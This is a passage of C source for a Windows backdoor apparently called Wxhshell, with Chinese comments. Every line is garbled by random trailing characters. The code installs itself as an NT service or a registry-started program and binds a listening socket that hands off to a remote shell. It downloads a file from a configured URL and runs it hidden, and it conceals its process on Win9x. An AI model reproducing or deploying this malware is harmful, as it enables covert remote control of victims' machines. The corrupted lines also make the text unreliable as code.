ULONG InheritedFromUniqueProcessId; f_}/JF
} PROCESS_BASIC_INFORMATION; PUV)w\!&is
9W:oo:dK F
PROCNTQSIP NtQueryInformationProcess; _T&?H
J0*hJ-/u
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _G|hKk^,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K 4QJDC8
9 [v=`
HANDLE hProcess; X^ckTIdR
PROCESS_BASIC_INFORMATION pbi; 8W#/=Xh?
?:vp3f#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y >r7(qg
if(NULL == hInst ) return 0; n$
$^(-g@)
ns[v.YDL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {a\O7$A\F
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5ppOG_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |iKk'Rta4
(9%
ki$=}+
if (!NtQueryInformationProcess) return 0; bXF>{%(}E
%@#+Xpa+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^hzlR[
if(!hProcess) return 0; f uQbDb&
$h`(toTyF
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !O6e,l
_*7h1[,{f
CloseHandle(hProcess); 11[[H kX@
reR ><p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C,~wmS )@
if(hProcess==NULL) return 0; 1j0OV9 -|
{STOWuY
HMODULE hMod; h[#Lg3
char procName[255]; u.sF/T=6f
unsigned long cbNeeded; R*a5bKr
d9>*a$x;/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #"-?+F=rk
5Ds/^fA
CloseHandle(hProcess); 0D/u`-
'KB\K)cD=3
if(strstr(procName,"services")) return 1; // 以服务启动 6zh<PETa03
lffp\v{w
return 0; // 注册表启动 ZUP\)[~
} M #'br<]
'?=SnjMX
// 主模块 L9Sd4L_e
int StartWxhshell(LPSTR lpCmdLine) W2/FGJD
{ 0T7(c-
SOCKET wsl; !Ob
BOOL val=TRUE; tvXoF;Yq
int port=0; I$/*Pt];
struct sockaddr_in door; J ^gtSn^
HM57b>6
if(wscfg.ws_autoins) Install(); 1+6:K._C(m
~\kJir
port=atoi(lpCmdLine); s7.2EkGl=
kP~'C'5Ys
if(port<=0) port=wscfg.ws_port; %Xs3Lz
b~fX=!M
WSADATA data; ]x1MB|a6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bwo-9B
KiYO,nD;\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $2B_a
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ CVhV
door.sin_family = AF_INET; xxkUu6x#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /WlK*8C
door.sin_port = htons(port); nv&uhu/q
jXA!9_L7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W9n0Jv
closesocket(wsl); gw~%jD-2
return 1; i{[=N9U5o
} Tlrr02>B{
IN=pki|.
if(listen(wsl,2) == INVALID_SOCKET) { VH[r@Pn
closesocket(wsl); BCsz8U!
return 1; MJNY#v3
} d]1%/$v^
Wxhshell(wsl); :K.%^ag=j
WSACleanup(); R}Pw#*B
[M>Md-pj
return 0; :*bv(~FW
%x@
D i`;
} >dKK [E/[d
dv=y,q@W
// 以NT服务方式启动 %pj6[x`@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PN9^ sLx=
{ u.;zz'|
DWORD status = 0; ^kZfE"iE2
DWORD specificError = 0xfffffff; "<o[X ?u
j.FA!4L
serviceStatus.dwServiceType = SERVICE_WIN32; 4w,=6|#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @_"B0$,-i
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1=BDqSZ@9
serviceStatus.dwWin32ExitCode = 0; Td#D\d\R
serviceStatus.dwServiceSpecificExitCode = 0; }s)MDq9
serviceStatus.dwCheckPoint = 0; )"k>}&'
serviceStatus.dwWaitHint = 0; lyGQ6zlSn
UjibQl3:m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 272j$T
if (hServiceStatusHandle==0) return; ]=\Mf<
m|q?gX9R
status = GetLastError(); +. /c=o/v
if (status!=NO_ERROR) XMhDx
{ n\d`Fk
serviceStatus.dwCurrentState = SERVICE_STOPPED; i`[5%6\"&
serviceStatus.dwCheckPoint = 0; [h>|6%sW
serviceStatus.dwWaitHint = 0; <$\vL
serviceStatus.dwWin32ExitCode = status; &v!=\Fig4
serviceStatus.dwServiceSpecificExitCode = specificError; pR_cI]{=SA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FTM(y CN
return; KrOoxrDcp
} dw
%aoe
f[,9WkC
serviceStatus.dwCurrentState = SERVICE_RUNNING; %Q]u_0P*
serviceStatus.dwCheckPoint = 0; lfjY45=
serviceStatus.dwWaitHint = 0; XL[/)lX{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (vte8uQe
} bqugo
!0ly1T 9
// 处理NT服务事件,比如:启动、停止 Y.I-hl1<r
VOID WINAPI NTServiceHandler(DWORD fdwControl) zJ{?'kp
{ p- 5)J&
switch(fdwControl) {\-rZb==F2
{ O%)@> 5#S
case SERVICE_CONTROL_STOP: RjS;Ck@;
serviceStatus.dwWin32ExitCode = 0; }~P%S(zB
serviceStatus.dwCurrentState = SERVICE_STOPPED; fDc>E+,
serviceStatus.dwCheckPoint = 0; [8*Ovd
serviceStatus.dwWaitHint = 0; '\%c"?
{ V:F;Nq%+j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w0QN5?
} Xx{ho4qq
return; wX}N===
case SERVICE_CONTROL_PAUSE: KTn,}7vZ
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8
v NgePn
break; gfQ&U@N
case SERVICE_CONTROL_CONTINUE: *8}Y0V\s
serviceStatus.dwCurrentState = SERVICE_RUNNING; =4GJYhj
break; `|K,E
case SERVICE_CONTROL_INTERROGATE: b?Wg|D
break; ?wE@9g A
}; Zu(eYH=Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~~:w^(s9
} j,Sg?&"%=
[c4.E"
// 标准应用程序主函数 %bf+Y7m
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $ q*kD#;mh
{ -1Y9-nn[m
gyH'92ck
// 获取操作系统版本 pT]M]/y/:
OsIsNt=GetOsVer(); &pwSd
GetModuleFileName(NULL,ExeFile,MAX_PATH); iO=xx|d
fr'M)ox1
// 从命令行安装 s
vn[c*
if(strpbrk(lpCmdLine,"iI")) Install(); {#q']YDe`
4GJ1P2
// 下载执行文件 'B}pIx6k~
if(wscfg.ws_downexe) { tB.;T0n
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =jD[A>3I
WinExec(wscfg.ws_filenam,SW_HIDE); RAR0LKGX
} 3oX%tx
4X7y}F.J
if(!OsIsNt) { Wz$%o'OnC
// 如果时win9x,隐藏进程并且设置为注册表启动 @k~?h=o\b
HideProc(); G)gf +)W
StartWxhshell(lpCmdLine); A(duUl~
} `}o4 &$
else !mFo:nQ)}
if(StartFromService()) f uojf+i
// 以服务方式启动 ja$>>5<q
StartServiceCtrlDispatcher(DispatchTable); Wd4fIegk
else L/(e/Jalg
// 普通方式启动 (^GVy=
StartWxhshell(lpCmdLine); E
[JXQ76
P# 2&?.d\
return 0; M<JJQh5
}